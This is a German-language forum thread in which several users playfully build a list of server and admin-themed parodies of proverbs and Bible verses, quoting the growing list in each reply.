Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.

Der Apple fällt nicht weit vom Schreibtisch.

Ja, ja: Flüssig Brot macht Nasen, ähm, Wangen rot. %-)

Der Äppler fällt nicht weit vom Stammtisch.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.

Lüge! Der Apple fällt gar nicht - dem magnetischen Netzstecker sei dank! ;-)

Aber weiter geht's:

Was dem Admin erlaubt ist, darf der User noch lange nicht.

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.

Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.

Lüge! Der Apple fällt gar nicht

Doch. Ohne den berühmten Apfel, der ihm auf den Kopf gefallen ist, hätte Isaac Newton seine Gravitationstheorie nie »erfunden«! ;)

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.

Zum Server drängt, am Server hängt doch alles.

Lüge! Der Apple fällt gar nicht
Doch. Ohne den berühmten Apfel, der ihm auf den Kopf gefallen ist, hätte Isaac Newton seine Gravitationstheorie nie »erfunden«! ;)

Wenn ihm vom Baum ein Apple auf den Kopf gefallen wäre, hätte er wohl gar nicht mehr lange genug gelebt, um irgendwas zu entwickeln! ;-> (OK, den neuen Macbook Air vielleicht mal ausgenommen ;))

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.

Jeder Admin ist Herr auf seinem Server.

Doch. Ohne den berühmten Apfel, der ihm auf den Kopf gefallen ist, hätte Isaac Newton seine Gravitationstheorie nie »erfunden«! ;)
Wenn ihm vom Baum ein Apple auf den Kopf gefallen wäre, hätte er wohl gar nicht mehr lange genug gelebt, um irgendwas zu entwickeln!

Diese Überlegungen hatte schon Gotlib, und in einer seiner Rubricabrac-Folgen stellte er sich vor, was Isaac Newton wohl gem(d)acht hätte, wenn Äpfel einfach Kürbisse wären ;)

OK, den neuen Macbook Air vielleicht mal ausgenommen

Der wäre wie ein Blatt heruntergefallen, das hätte Newton nicht mal von seinem Nickerchen geweckt. In beiden Fällen (Macbook Air oder Kürbis), hätten wir keine Gravitationstheorie und würden nur so dahin schweben!

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.

Der frühe Request fängt den Response.

was Isaac Newton wohl gem(d)acht hätte, wenn Äpfel einfach Kürbisse wären ;)

Er wäre an Halloween berühmt geworden? :->

In beiden Fällen (Macbook Air oder Kürbis), hätten wir keine Gravitationstheorie und würden nur so dahin schweben!

Da krümm ich mich doch vor Lachen stärker noch als der Raum sich krümmt! ;->

Gruß, Cybaer

[Shadowcrow]

hi $name,

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.

Der frühe Request fängt den Response.

Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.

gruss
shadow

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.

:)

Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)

Gruß, Cybaer

[Shadowcrow]

hi $name,

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.

:)

Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)

Apqache oder ISS, das ist die Frage.

p.s.
saugeile 404er:[url:http://magline.de/dkjfglj/]

p.p.s.
leider ist meine (mit erlaubniss umgeschrieben) nach dem reload den weg alles irdischen gegangen.

gruss
shadow

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.

Der Server ist dem Server ein Wolf.

saugeile 404er:[url:http://magline.de/dkjfglj/]

Schon weg.

Gruß, Cybaer

[Længlich]

Hyvää päivää!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.

There is no such thing as a free server.

Es fehlen nicht mehr viele Sprüche, damit die Zitatzeichen den rechten Rand meines Viewports erreichen...

Viele Grüße vom Længlich

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.

Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.

Es fehlen nicht mehr viele Sprüche, damit die Zitatzeichen den rechten Rand meines Viewports erreichen...

Bei mir stoßen die ersten drei schon an - eigentlich. :)

Gruß, Cybaer

[Længlich]

Konnichiwa!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.

Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)

Bei mir stoßen die ersten drei schon an - eigentlich. :)

Und uneigentlich? ;-)

Viele Grüße vom Længlich

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.
Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)

Nicht für die Schule, fürs Web 2.0 lernen wir.

Bei mir stoßen die ersten drei schon an - eigentlich. :)
Und uneigentlich? ;-)

Uneigentlich ziehe ich das Fenster jetzt etwas größer auf. ;)

Gruß, Cybaer

[Længlich]

Ngauthaan-thirr!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.
Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.
Der Apple fällt nicht weit vom Schreibtisch.
Was dem Admin erlaubt ist, darf der User noch lange nicht.
Was du Deinem Server heute kannst besorgen, das verschiebe nicht auf morgen.
Zum Server drängt, am Server hängt doch alles.
Jeder Admin ist Herr auf seinem Server.
Der frühe Request fängt den Response.
Drum prüfe wer sich ewig bindet, ob sich nicht noch ein bessrer Server findet.
Wenn morgen die Welt unterginge, dann würde ich heute noch ein Webserver aufsetzen. (www.final.museum)
Apqache oder ISS, das ist die Frage.
Der Server ist dem Server ein Wolf.
There is no such thing as a free server.
Wat is en Server? Da stelle mer uns mal janz dumm und sagen: en Server is en kleiner, schwarzer Kasten mit zwei Kabeln. In dem einen Kabel fließt Strom rein, und dat andere Kabel, dat kriege mer später.
Einen sicheren Server erkennt man in unsicherer Lage. (Server certus in re incerta cernitur.)
Nicht für die Schule, fürs Web 2.0 lernen wir.

